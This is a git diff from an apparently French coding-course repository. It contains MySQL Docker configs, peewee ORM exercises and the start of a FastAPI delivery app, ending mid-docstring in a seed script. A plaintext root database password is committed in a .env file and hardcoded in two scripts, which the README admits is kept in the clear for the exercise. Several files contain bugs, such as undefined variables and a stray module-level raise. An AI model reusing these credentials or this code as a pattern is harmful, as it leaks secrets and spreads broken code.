@@ -0,0 +1,19 @@ +services: + mysql: + image: mysql:8.0 + container_name: mysql_evaluation + environment: + MYSQL_ROOT_PASSWORD: ${DB_PASSWORD} + command: --log_bin_trust_function_creators=1 + ports: + - "3306:3306" + volumes: + - mysql_data:/var/lib/mysql + healthcheck: + test: ["CMD", "mysqladmin", "ping", "-h", "localhost"] + interval: 10s + timeout: 5s + retries: 5 + +volumes: + mysql_data: diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/evalutaion_vendredi.zip b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/evalutaion_vendredi.zip new file mode 100644 index 0000000..9509699 Binary files /dev/null and b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/evalutaion_vendredi.zip differ diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/pyproject.toml b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/pyproject.toml new file mode 100644 index 0000000..b13de2b --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/pyproject.toml @@ -0,0 +1,11 @@ +[project] +name = "boiche-gauvain-eval-20-03-2026" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "dotenv>=0.9.9", + "peewee>=4.0.2", + "pymysql>=1.1.2", +] diff --git a/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/uv.lock b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/uv.lock new file mode 100644 index 0000000..137b4a9 --- /dev/null +++ b/Semaine_07/Jour_05/Boiche_Gauvain_eval_20_03_2026/uv.lock @@ -0,0 +1,58 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "boiche-gauvain-eval-20-03-2026" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "dotenv" }, + { name = "peewee" }, + { name = "pymysql" }, +] + +[package.metadata] +requires-dist = [ + { name = "dotenv", specifier = ">=0.9.9" }, + { name = "peewee", specifier = ">=4.0.2" }, + { name = "pymysql", specifier = ">=1.1.2" }, +] + +[[package]] +name = "dotenv" +version = "0.9.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "python-dotenv" }, +] +wheels = [ + { url = "https://files.pythonhosted.org/packages/b2/b7/545d2c10c1fc15e48653c91efde329a790f2eecfbbf2bd16003b5db2bab0/dotenv-0.9.9-py2.py3-none-any.whl", hash = "sha256:29cf74a087b31dafdb5a446b6d7e11cbce8ed2741540e2339c69fbef92c94ce9", size = 1892, upload-time = "2025-02-19T22:15:01.647Z" }, +] + +[[package]] +name = "peewee" +version = "4.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/54/9b/3439dcc3ed5138eb26f28fc208f958ca97b831f5f898b26d5354302e5df4/peewee-4.0.2.tar.gz", hash = "sha256:fd5d026ce7787c6cd3a84316e665a76b72c9c4e87322598c413f44604fa6c38d", size = 714081, upload-time = "2026-03-15T15:46:30.049Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/8e/943f57ce32eb005c7037110a759e2ebfb22e467a9a0efcb6d516c5bf00c6/peewee-4.0.2-py3-none-any.whl", hash = "sha256:86d5d16bcda5bbe017a108f6efc57abaac8d89277915541904542df9d2a7f25d", size = 143344, upload-time = "2026-03-15T15:46:28.778Z" }, +] + +[[package]] +name = "pymysql" +version = "1.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f5/ae/1fe3fcd9f959efa0ebe200b8de88b5a5ce3e767e38c7ac32fb179f16a388/pymysql-1.1.2.tar.gz", hash = "sha256:4961d3e165614ae65014e361811a724e2044ad3ea3739de9903ae7c21f539f03", size = 48258, upload-time = "2025-08-24T12:55:55.146Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/4c/ad33b92b9864cbde84f259d5df035a6447f91891f5be77788e2a3892bce3/pymysql-1.1.2-py3-none-any.whl", hash = "sha256:e6b1d89711dd51f8f74b1631fe08f039e7d76cf67a42a323d3178f0f25762ed9", size = 45300, upload-time = "2025-08-24T12:55:53.394Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] diff --git a/Semaine_07/Jour_05/orm_peewee/.env b/Semaine_07/Jour_05/orm_peewee/.env new file mode 100644 index 0000000..6912a26 --- /dev/null +++ b/Semaine_07/Jour_05/orm_peewee/.env @@ -0,0 +1,5 @@ +DB_HOST=localhost +DB_USER=root +DB_PASSWORD=MementoMarsouin96 +DB_NAME=company +DB_PORT=3306 \ No newline at end of file diff --git a/Semaine_07/Jour_05/orm_peewee/.python-version b/Semaine_07/Jour_05/orm_peewee/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_07/Jour_05/orm_peewee/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_07/Jour_05/orm_peewee/README.md b/Semaine_07/Jour_05/orm_peewee/README.md new file mode 100644 index 0000000..5e95c73 --- /dev/null +++ b/Semaine_07/Jour_05/orm_peewee/README.md @@ -0,0 +1,11 @@ +Normalement, on met aussi un fichier + +`.gitignore` + +Dont le contenu mentionne : + +``` +*.env +``` + +Pour l'exercice évidemment, je garde le fichier en clair. \ No newline at end of file diff --git a/Semaine_07/Jour_05/orm_peewee/docker-compose.yml b/Semaine_07/Jour_05/orm_peewee/docker-compose.yml new file mode 100644 index 0000000..ceb99a7 --- /dev/null +++ b/Semaine_07/Jour_05/orm_peewee/docker-compose.yml @@ -0,0 +1,19 @@ +services: + mysql: + image: mysql:8.0 + container_name: mysql_peewee + environment: + MYSQL_ROOT_PASSWORD: ${DB_PASSWORD} + command: --log_bin_trust_function_creators=1 + ports: + - "3306:3306" + volumes: + - mysql_data:/var/lib/mysql + healthcheck: + test: ["CMD", "mysqladmin", "ping", "-h", "localhost"] + interval: 10s + timeout: 5s + retries: 5 + +volumes: + mysql_data: \ No newline at end of file diff --git a/Semaine_07/Jour_05/orm_peewee/main.py b/Semaine_07/Jour_05/orm_peewee/main.py new file mode 100644 index 0000000..9705516 --- /dev/null +++ b/Semaine_07/Jour_05/orm_peewee/main.py @@ -0,0 +1,123 @@ +from peewee import * + +# import os +# from dotenv import load_dotenv + +# load_dotenv() + +# db_name = os.environ.get("DB_NAME") +# db_user = os.environ.get("DB_USER") +# db_password = os.environ.get("DB_PASSWORD") +# db_host = os.environ.get("DB_HOST") +# db_port = os.environ.get("DB_PORT") + +db_name = "company" +db_user = "root" +db_password = "MementoMarsouin96" +db_host = "localhost" +db_port = 3306 + +db = MySQLDatabase( + database= db_name, + user= db_user, + password= db_password, + host= db_host, + port= db_port +) + +# équivalent de "Base = declarative_base()" +class BaseModel(Model): + class Meta: + database = db + +class Department(BaseModel): + department_id = AutoField(primary_key= True) + department_name = CharField(max_length= 50, null= False, unique= True) + location_id = DecimalField(max_digits= 4, decimal_places= 0, null= False) + + # équivalent de "__tablename__ = "truc"" + class Meta: + table_name = "departments" + +class Employee(BaseModel): + employee_id = AutoField(primary_key= True) + first_name = CharField(max_length= 50, null= False) + last_name = CharField(max_length= 50, null= False) + email = CharField(max_length= 50, null= False, unique= True) + salary = IntegerField(null= False) + + department = ForeignKeyField(Department, backref= "employees", null= False) + + class Meta: + table_name = "employees" + +db.connect() +db.create_tables([Department, Employee]) + +try: + it_dept = Department.create(department_name= "IT", location_id= 1400) +except IntegrityError: + print("Département déjà existant.") + +it_dept = Department.get(Department.department_name == "IT") + +try: + Employee.create( + first_name= "Alice", + last_name= "Smith", + email= "a.smith@company.au", + salary= 4000, + department= it_dept # utiliser l'OBJET, pas le nom de l'objet + ) +except IntegrityError: + print("Employé(e) déjà existant(e).") + +new_employees = [ + {'first_name': 'Marie', 'last_name': 'Dupont', 'email': 'mdupont', 'salary': 4500}, + {'first_name': 'Jean', 'last_name': 'Martin', 'email': 'jmartin', 'salary': 5200}, + {'first_name': 'Sophie', 'last_name': 'Bernard', 'email': 'sbernard', 'salary': 4800}, +] + +# with db.atomic(): +# Employee.insert_many(new_employees).execute() + +employee_01 = Employee.get(1) +print(employee_01.first_name, employee_01.last_name) + +employee_02 = Employee.get(Employee.email == "a.smith@company.au") +print(employee_02.first_name, employee_02.salary) + +try: + employee_76 = Employee.get(76) +except DoesNotExist: + print("L'employé(e) 76 n'existe pas.") + +employee_select_01 = Employee.select() # SELECT * FROM employees +print(employee_select_01) +for employee in employee_select_01: + print(employee.first_name, employee.last_name, employee.email) + +employee_select_02 = Employee.select().where( + (Employee.salary > 8000) & (Employee.department == it_dept) +) +print(employee_select_02) + +# pagination +page_01 = Employee.select().order_by(Employee.employee_id).paginate(1, 10) + +# compter une valeur +salary_01 = Employee.select().where(Employee.salary > 10000).count() + +# Jointures (LEFT JOIN, RIGHT JOIN etc) +### FULL JOIN +query = (Employee + .select(Employee, Department) + .join(Department) + .where(Department.department_name == "IT")) + +### Employés affectés à un département +### et ceux non affectés à un département +query = (Employee + .select(Employee, Department) + .join(Department, JOIN.LEFT_OUTER) + .where(Department.department_name == "IT")) \ No newline at end of file diff --git a/Semaine_07/Jour_05/orm_peewee/pyproject.toml b/Semaine_07/Jour_05/orm_peewee/pyproject.toml new file mode 100644 index 0000000..d3ad998 --- /dev/null +++ b/Semaine_07/Jour_05/orm_peewee/pyproject.toml @@ -0,0 +1,10 @@ +[project] +name = "orm-peewee" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "peewee>=4.0.2", + "pymysql>=1.1.2", +] diff --git a/Semaine_07/Jour_05/orm_peewee/relations.py b/Semaine_07/Jour_05/orm_peewee/relations.py new file mode 100644 index 0000000..c2e5fcd --- /dev/null +++ b/Semaine_07/Jour_05/orm_peewee/relations.py @@ -0,0 +1,105 @@ +from peewee import * + +# import os +# from dotenv import load_dotenv + +# load_dotenv() + +# db_name = os.environ.get("DB_NAME") +# db_user = os.environ.get("DB_USER") +# db_password = os.environ.get("DB_PASSWORD") +# db_host = os.environ.get("DB_HOST") +# db_port = os.environ.get("DB_PORT") + +db_name = "company" +db_user = "root" +db_password = "MementoMarsouin96" +db_host = "localhost" +db_port = 3306 + +db = MySQLDatabase( + database= db_name, + user= db_user, + password= db_password, + host= db_host, + port= db_port +) + +# équivalent de "Base = declarative_base()" +class BaseModel(Model): + class Meta: + database = db + +# Relations One-To-Many +class User(BaseModel): + username = CharField(unique= True) + email = CharField() + + class Meta: + table_name = "user" + +class Todo(BaseModel): + title = CharField() + is_done = BooleanField(default= False) + user= ForeignKeyField(User, backref= "todos") # l'accès inverse est géré automatiquement + + class Meta: + table_name = "todos" + +class Tag(BaseModel): + name = CharField(unique= True) + + class Meta: + table_name = "tag" + +class TodoTag(BaseModel): + todo = ForeignKeyField(Todo) + tag = ForeignKeyField(Tag) + + class Meta: + table_name = 'todo_tag' + indexes= ( + (('todo', 'tag'), True), + ) + +class Profile(BaseModel): + user = ForeignKeyField(User, unique= True, backref= "profile") # One-To-One + bio = TextField(null= True) + avatar = CharField(null= True) + + class Meta: + table_name = "profile" + +db.connect() +db.create_tables([User, Todo, Profile, Tag, TodoTag]) + +try: + alice = User.create(username= "Alice", email= "a.smith@company.au") + Todo.create(title= "Apprendre Python", user= alice) + Todo.create(title= "Apprendre JS", user= alice) + Todo.create(title= "Apprendre COBOL", user= alice) + + for todo in alice.todos: + print(todo.title, todo.is_done) +except IntegrityError as error: + print(error) + +try: + Profile.create( + user= User.get(1), + bio = 'Developpeur', + avatar= 'http://example.com' + ) +except IntegrityError as error: + print(error) + +try: + tag_urgent = Tag.create(name= "Urgent") + tag_perso = Tag.create(name= "Perso") + tag_pro = Tag.create(name= "Pro") + + todo_cobol = Todo.get(Todo.title == "Apprendre COBOL") + + TodoTag.create(todo= todo_cobol, tag= tag_urgent) +except IntegrityError as error: + print(error) \ No newline at end of file diff --git a/Semaine_07/Jour_05/orm_peewee/uv.lock b/Semaine_07/Jour_05/orm_peewee/uv.lock new file mode 100644 index 0000000..bfe915d --- /dev/null +++ b/Semaine_07/Jour_05/orm_peewee/uv.lock @@ -0,0 +1,36 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "orm-peewee" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "peewee" }, + { name = "pymysql" }, +] + +[package.metadata] +requires-dist = [ + { name = "peewee", specifier = ">=4.0.2" }, + { name = "pymysql", specifier = ">=1.1.2" }, +] + +[[package]] +name = "peewee" +version = "4.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/54/9b/3439dcc3ed5138eb26f28fc208f958ca97b831f5f898b26d5354302e5df4/peewee-4.0.2.tar.gz", hash = "sha256:fd5d026ce7787c6cd3a84316e665a76b72c9c4e87322598c413f44604fa6c38d", size = 714081, upload-time = "2026-03-15T15:46:30.049Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/8e/943f57ce32eb005c7037110a759e2ebfb22e467a9a0efcb6d516c5bf00c6/peewee-4.0.2-py3-none-any.whl", hash = "sha256:86d5d16bcda5bbe017a108f6efc57abaac8d89277915541904542df9d2a7f25d", size = 143344, upload-time = "2026-03-15T15:46:28.778Z" }, +] + +[[package]] +name = "pymysql" +version = "1.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f5/ae/1fe3fcd9f959efa0ebe200b8de88b5a5ce3e767e38c7ac32fb179f16a388/pymysql-1.1.2.tar.gz", hash = "sha256:4961d3e165614ae65014e361811a724e2044ad3ea3739de9903ae7c21f539f03", size = 48258, upload-time = "2025-08-24T12:55:55.146Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/4c/ad33b92b9864cbde84f259d5df035a6447f91891f5be77788e2a3892bce3/pymysql-1.1.2-py3-none-any.whl", hash = "sha256:e6b1d89711dd51f8f74b1631fe08f039e7d76cf67a42a323d3178f0f25762ed9", size = 45300, upload-time = "2025-08-24T12:55:53.394Z" }, +] diff --git a/Semaine_08/architecture_j1.pdf b/Semaine_08/architecture_j1.pdf new file mode 100644 index 0000000..9f5d9ea Binary files /dev/null and b/Semaine_08/architecture_j1.pdf differ diff --git a/Semaine_08/livrexpress/.python-version b/Semaine_08/livrexpress/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_08/livrexpress/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_08/livrexpress/README.md b/Semaine_08/livrexpress/README.md new file mode 100644 index 0000000..ea81390 --- /dev/null +++ b/Semaine_08/livrexpress/README.md @@ -0,0 +1,7 @@ +- uv init --python 3.12 +- uv run main.py +- .venv/Scripts/activate + +- uv add fastapi +- uv add jinja2 +- uv add uvicorn \ No newline at end of file diff --git a/Semaine_08/livrexpress/data/database.py b/Semaine_08/livrexpress/data/database.py new file mode 100644 index 0000000..fda7f5a --- /dev/null +++ b/Semaine_08/livrexpress/data/database.py @@ -0,0 +1,6 @@ +import sqlite3 + +def get_database_connection(): + connection = sqlite3.connect('livrexpress.db') + connection.row_factory = sqlite3.Row + return connection \ No newline at end of file diff --git a/Semaine_08/livrexpress/data/repositories/customer_repository.py b/Semaine_08/livrexpress/data/repositories/customer_repository.py new file mode 100644 index 0000000..fca60e6 --- /dev/null +++ b/Semaine_08/livrexpress/data/repositories/customer_repository.py @@ -0,0 +1,32 @@ +from data.database import get_database_connection +from data.repositories.protocols.customer_repository_protocol import CustomerRepositoryProtocol +from domain.entities.customer import Customer +from domain.services.order_service import OrderService + +class CustomerRepository(CustomerRepositoryProtocol): + def __init__(self) -> None: + self.db = get_database_connection() + + def find_by_id(self, customer_id: int): + row = self.db.execute( + """ + SELECT c.id, c.name, c.email, c.address + FROM customers c + LEFT JOIN orders o + ON o.customer_id = c.id + WHERE c.id = :id + GROUP BY c.id + """, + {"id": customer_id} + ).fetchone() + + if row is None: return None + + return Customer( + id= row['id'], + name= row['name'], + email= row['email'], + address= row['address'], + order_count= row['order_count'], + is_premium= row['order_count'] >= OrderService.PREMIUM_THRESHOLD, + ) \ No newline at end of file diff --git a/Semaine_08/livrexpress/data/repositories/order_repository.py b/Semaine_08/livrexpress/data/repositories/order_repository.py new file mode 100644 index 0000000..b8c5715 --- /dev/null +++ b/Semaine_08/livrexpress/data/repositories/order_repository.py @@ -0,0 +1,90 @@ +from datetime import datetime + +from data.database import get_database_connection +from data.repositories.protocols.order_repository_protocol import OrderRepositoryProtocol +from domain.entities.dish import Dish +from domain.entities.order import Order + + +class OrderRepository(OrderRepositoryProtocol): + def __init__(self) -> None: + self.db = get_database_connection() + + def find_by_customer_id(self, customer_id: int) -> list[Order]: + orders = self.db.execute( # list[tuple] + """ + SELECT o.id, o.customer_id, o.restaurant_id, r.name as restaurant_name, o.delivery_address, o.created_at, o.delivered_at + FROM orders o + JOIN restaurants r + ON o.restaurant_id = r.id + WHERE o.customer_id = :customer_id + ORDER BY o.created_at DESC + """, + {"customer_id": customer_id} + ).fetchall() + + return [ + Order( + id= row['id'], + customer_id= row['customer_id'], + restaurant_id= row['restaurant_id'], + restaurant_name= row['restaurant_name'], + dishes= self.get_dishes(row['id']), + delivery_address= row['delivery_address'], + created_at= datetime.fromisoformat(row['created_at']), + delivery_at= datetime.fromisoformat(row['delivered_at']) if row['delivered_at'] else None + ) for row in orders + ] + + def find_by_id(self, order_id: int) -> Order | None: + row = self.db.execute( # tuple + """ + SELECT o.*, r.name as restraurant_name + FROM orders o + JOIN restaurants r + ON o.restaurant_id = r.id + WHERE o.id = :id + """, + {"id": order_id} + ).fetchone() + + if row is None: return None + + return Order( + id= row['id'], + customer_id= row['customer_id'], + restaurant_id= row['restaurant_id'], + restaurant_name= row['restaurant_name'], + dishes= self.get_dishes(order_id), + delivery_address= row['delivery_address'], + created_at= datetime.fromisoformat(row['created_at']), + delivery_at= datetime.fromisoformat(row['delivered_at']) if row['delivered_at'] else None + ) + + def get_dishes(self, order_id: int) -> list[Dish]: + cursor = self.db.execute( # list[tuple] + """ + SELECT d.id, d.name, d.price, d.restaurant_id + FROM dishes d + JOIN order_dishes od + ON d.id = od.dish_id + WHERE od.order_id = :order_id + """, + {"order_id": order_id} + ) + + return [ + Dish( + id= row['id'], + name= row['name'], + price= row['price'], + restaurant_id= row['restaurant_id'] + ) for row in cursor + ] + + + def save(self, order: Order) -> None: + self.db.execute( + "UPDATE orders SET delivered_at = :delivered_at WHERE id= :id", + {"id": order.id, "delivered_at": order.delivery_at.isoformat() if order.delivery_at else None} # condition ternaire + ) \ No newline at end of file diff --git a/Semaine_08/livrexpress/data/repositories/protocols/customer_repository_protocol.py b/Semaine_08/livrexpress/data/repositories/protocols/customer_repository_protocol.py new file mode 100644 index 0000000..4f8450e --- /dev/null +++ b/Semaine_08/livrexpress/data/repositories/protocols/customer_repository_protocol.py @@ -0,0 +1,6 @@ +from typing import Protocol +from domain.entities.customer import Customer + +class CustomerRepositoryProtocol(Protocol): + def find_by_id(self, customer_id: int) -> Customer: ... + def save(self, customer): ... \ No newline at end of file diff --git a/Semaine_08/livrexpress/data/repositories/protocols/order_repository_protocol.py b/Semaine_08/livrexpress/data/repositories/protocols/order_repository_protocol.py new file mode 100644 index 0000000..60ff996 --- /dev/null +++ b/Semaine_08/livrexpress/data/repositories/protocols/order_repository_protocol.py @@ -0,0 +1,8 @@ +from typing import Protocol +from domain.entities.order import Order + +class OrderRepositoryProtocol(Protocol): + def find_by_customer_id(self, customer_id: int) -> list[Order]: ... + def find_by_id(self, order_id: int) -> Order | None: ... + def save(self, order: Order) -> None: ... + def update(self, order: Order) -> None: ... \ No newline at end of file diff --git a/Semaine_08/livrexpress/data/repository.py b/Semaine_08/livrexpress/data/repository.py new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_08/livrexpress/domain/entities/customer.py b/Semaine_08/livrexpress/domain/entities/customer.py new file mode 100644 index 0000000..9d74f35 --- /dev/null +++ b/Semaine_08/livrexpress/domain/entities/customer.py @@ -0,0 +1,15 @@ +from dataclasses import dataclass, field +from typing import Optional + +@dataclass +class Customer: + id: int + name: str + email: str + address: str + order_count: int + is_premium: Optional[bool] = field(default=None) + + def __post_init__(self): + if self.is_premium is None: + self.is_premium = self.order_count > 10 \ No newline at end of file diff --git a/Semaine_08/livrexpress/domain/entities/dish.py b/Semaine_08/livrexpress/domain/entities/dish.py new file mode 100644 index 0000000..5ecaf7d --- /dev/null +++ b/Semaine_08/livrexpress/domain/entities/dish.py @@ -0,0 +1,20 @@ +from dataclasses import dataclass + +@dataclass +class Dish: + id: int + name: str + price: float + description: str = "" + is_available: bool = True + + def with_new_price(self, new_price: float) -> 'Dish': + return Dish( + id=self.id, + name=self.name, + price=new_price, + description=self.description, + is_available=self.is_available + ) + +plat_01 = Dish(id=1, name="Spaghetti Carbonara", price=12.99, description="Classic Italian pasta dish with eggs, cheese, pancetta, and pepper.") diff --git a/Semaine_08/livrexpress/domain/entities/order.py b/Semaine_08/livrexpress/domain/entities/order.py new file mode 100644 index 0000000..4b62c8c --- /dev/null +++ b/Semaine_08/livrexpress/domain/entities/order.py @@ -0,0 +1,55 @@ +from dataclasses import dataclass +from datetime import datetime +from typing import Optional + +from domain.entities.dish import Dish + + +@dataclass +class Order: + id: int + customer_id: int + restaurant_id: int + restaurant_name: str + dishes: list[Dish] + delivery_address: str + created_at: Optional[datetime] = datetime.now() + delivery_at: Optional[datetime] = None + + def amount(self): + return sum(dish.price for dish in self.dishes) + + def is_late(self): + if self.delivery_at is None: + return False + deadline = order.created_at + timedelta(minutes= self.DELIVERY_DELAY_MINUTES) #type: ignore + return datetime.now() > deadline + + def status(self): + if self.delivery_at: + return "Delivered" + elif self.is_late(): + return "Late" + else: + return "In delivery progress..." + + def urgency_level(self, delivery_delay, warning_threshold): + if self.delivery_at: + return "Delivered" + minutes = (datetime.now() - order.created_at).total_seconds() / 60 #type: ignore + if minutes > delivery_delay: + return "severe_delay" + elif minutes > warning_threshold: + return "light_delay" + return "normal" + +@dataclass +class OrderWithStatus: + order_id: int + restaurant_name: str + total_amount: float + is_late: bool + free_delivery: bool + is_premium_customer: bool + status: str + urgency_level: str # normal, light_delay, severe_delay, delivered \ No newline at end of file diff --git a/Semaine_08/livrexpress/domain/exceptions/order_exceptions.py b/Semaine_08/livrexpress/domain/exceptions/order_exceptions.py new file mode 100644 index 0000000..e9274a2 --- /dev/null +++ b/Semaine_08/livrexpress/domain/exceptions/order_exceptions.py @@ -0,0 +1,15 @@ +class OrderNotFoundException(Exception): + """Raised when an order is not found.""" + + def __init__(self, order_id: int): + self.order_id = order_id + super().__init__(f"Order with ID {order_id} not found.") + +class OrderAlreadyDeliveredException(Exception): + """Raised when an order has already been delivered.""" + + def __init__(self, order_id: int): + self.order_id = order_id + super().__init__(f"Order with ID {order_id} has already been delivered.") + +raise OrderNotFoundException(34) \ No newline at end of file diff --git a/Semaine_08/livrexpress/domain/services/order_service.py b/Semaine_08/livrexpress/domain/services/order_service.py new file mode 100644 index 0000000..6d90e9d --- /dev/null +++ b/Semaine_08/livrexpress/domain/services/order_service.py @@ -0,0 +1,66 @@ +from ast import Or +from datetime import datetime, timedelta + +from data.repositories.protocols.customer_repository_protocol import CustomerRepositoryProtocol +from data.repositories.protocols.order_repository_protocol import OrderRepositoryProtocol +from domain.exceptions.order_exceptions import OrderAlreadyDeliveredException, OrderNotFoundException +from domain.entities.order import Order, OrderWithStatus + + +class OrderService: + DELIVERY_DELAY_MINUTES = 45 + WARNING_THRESHOLD_MINUTES = 30 + FREE_DELIVERY_THRESHOLD = 25.0 + PREMIUM_THRESHOLD = 10 + + def __init__( + self, + order_repo: OrderRepositoryProtocol, + customer_repo: CustomerRepositoryProtocol + ): + self.order_repo = order_repo + self.customer_repo = customer_repo + + def get_orders_with_status(self, customer_id: int): + orders = self.order_repo.find_by_customer_id(customer_id) + customer = self.customer_repo.find_by_id(customer_id) + result = [] + + for order in orders: + result.append( + OrderWithStatus( + order_id= order.id, + restaurant_name= order.restaurant_name, + total_amount= order.amount(), + is_late= order.is_late(), + free_delivery= order.amount() >= self.FREE_DELIVERY_THRESHOLD, + is_premium_customer= customer.order_count >= self.PREMIUM_THRESHOLD, + status= order.status(), + urgency_level= order.urgency_level(self.DELIVERY_DELAY_MINUTES, self.WARNING_THRESHOLD_MINUTES) + ) + ) + + return result + + def mark_order_as_delivered(self, order_id: int): + order = self.order_repo.find_by_id(order_id) + if order is None: + raise OrderNotFoundException(order_id) + if order.delivery_at is not None: + raise OrderAlreadyDeliveredException(order_id) + + order.delivery_at = datetime.now() + self.order_repo.update(order) + + customer = self.customer_repo.find_by_id(order.customer_id) + + return OrderWithStatus( + order_id= order.id, + restaurant_name= order.restaurant_name, + total_amount= order.amount(), + is_late= order.is_late(), + free_delivery= order.amount() >= self.FREE_DELIVERY_THRESHOLD, + is_premium_customer= customer.order_count >= self.PREMIUM_THRESHOLD, + status= order.status(), + urgency_level= order.urgency_level(self.DELIVERY_DELAY_MINUTES, self.WARNING_THRESHOLD_MINUTES) + ) \ No newline at end of file diff --git a/Semaine_08/livrexpress/livrexpress.db b/Semaine_08/livrexpress/livrexpress.db new file mode 100644 index 0000000..83ce281 Binary files /dev/null and b/Semaine_08/livrexpress/livrexpress.db differ diff --git a/Semaine_08/livrexpress/main.py b/Semaine_08/livrexpress/main.py new file mode 100644 index 0000000..f70e2e4 --- /dev/null +++ b/Semaine_08/livrexpress/main.py @@ -0,0 +1,11 @@ +from fastapi import FastAPI +from fastapi.staticfiles import StaticFiles + +from presentation import routes +from presentation.middleware import FakeAuthMiddleware + +app = FastAPI() + +app.add_middleware(FakeAuthMiddleware) +app.include_router(routes.router) +app.mount("/static", StaticFiles(directory="static"), name="static") \ No newline at end of file diff --git a/Semaine_08/livrexpress/presentation/routes.py b/Semaine_08/livrexpress/presentation/routes.py new file mode 100644 index 0000000..99f2125 --- /dev/null +++ b/Semaine_08/livrexpress/presentation/routes.py @@ -0,0 +1,18 @@ +from fastapi import FastAPI +from fastapi.templating import Jinja2Templates + +from domain.services.order_service import OrderService +from data.repositories.order_repository import OrderRepository +from data.repositories.customer_repository import CustomerRepository + +router = FastAPI() +templates = Jinja2Templates(directory="presentation/templates") + +service = OrderService( + order_repo= OrderRepository(), + customer_repo= CustomerRepository() + ) + +@router.get("/my_orders/") +async def show_my_orders(): + pass \ No newline at end of file diff --git a/Semaine_08/livrexpress/presentation/templates/layout.html b/Semaine_08/livrexpress/presentation/templates/layout.html new file mode 100644 index 0000000..93435f6 --- /dev/null +++ b/Semaine_08/livrexpress/presentation/templates/layout.html @@ -0,0 +1,34 @@ + + + + + + + Document + + + +
+

🍕 Livr'Express

+
+
+ {% block content %}{% endblock %} +
+ + \ No newline at end of file diff --git a/Semaine_08/livrexpress/presentation/templates/my_orders.html b/Semaine_08/livrexpress/presentation/templates/my_orders.html new file mode 100644 index 0000000..3de152c --- /dev/null +++ b/Semaine_08/livrexpress/presentation/templates/my_orders.html @@ -0,0 +1,24 @@ +{% extends "layout.html" %} + +{% block content %} +

My Orders

+ + + + + + + + + + + {% for order in orders %} + {% include "order_row.html" %} + {% else %} + + + + {% endfor %} + +
RestaurantTotal PriceStatusAction
No orders found.
+{% endblock content %} \ No newline at end of file diff --git a/Semaine_08/livrexpress/presentation/templates/order_row.html b/Semaine_08/livrexpress/presentation/templates/order_row.html new file mode 100644 index 0000000..603cd8e --- /dev/null +++ b/Semaine_08/livrexpress/presentation/templates/order_row.html @@ -0,0 +1,21 @@ + + {{ order.restaurant_name }} + {{ order.total_amount }} + + {% if order.is_late %} + Late + {% endif %} + {% if order.free_delivery %} + Free Delivery + {% endif %} + + + {% if order.status == 'delivered' %} + Delivered + {% elif order.status == 'pending' %} + Pending + {% elif order.status == 'cancelled' %} + Cancelled + {% endif %} + + \ No newline at end of file diff --git a/Semaine_08/livrexpress/pyproject.toml b/Semaine_08/livrexpress/pyproject.toml new file mode 100644 index 0000000..c9f5d9b --- /dev/null +++ b/Semaine_08/livrexpress/pyproject.toml @@ -0,0 +1,10 @@ +[project] +name = "livrexpress" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "fastapi>=0.135.3", + "jinja2>=3.1.6", +] diff --git a/Semaine_08/livrexpress/seed.py b/Semaine_08/livrexpress/seed.py new file mode 100644 index 0000000..ec5002e --- /dev/null +++ b/Semaine_08/livrexpress/seed.py @@ -0,0 +1,249 @@ +""" +seed_db.py, Peuplement de la base de données LivrExpress +========================================================== +Réinitialise et peuple livrexpress.db avec des données de démonstration. + +Usage : + uv run python seed_db.py (depuis le dossier code/livexpress/) + +Ce script illustre concrètement toutes les règles métier de OrderService : + + RÈGLES (OrderService) + ┌─────────────────────────────────────────────────────────────────┐ + │ urgency_level → "normal" commande créée il y a < 30min │ + │ "light_delay" entre 30 et 45min │ + │ "severe_delay" > 45min sans livraison │ + │ "delivered" commande livrée │ + │ is_late → True si non livrée et 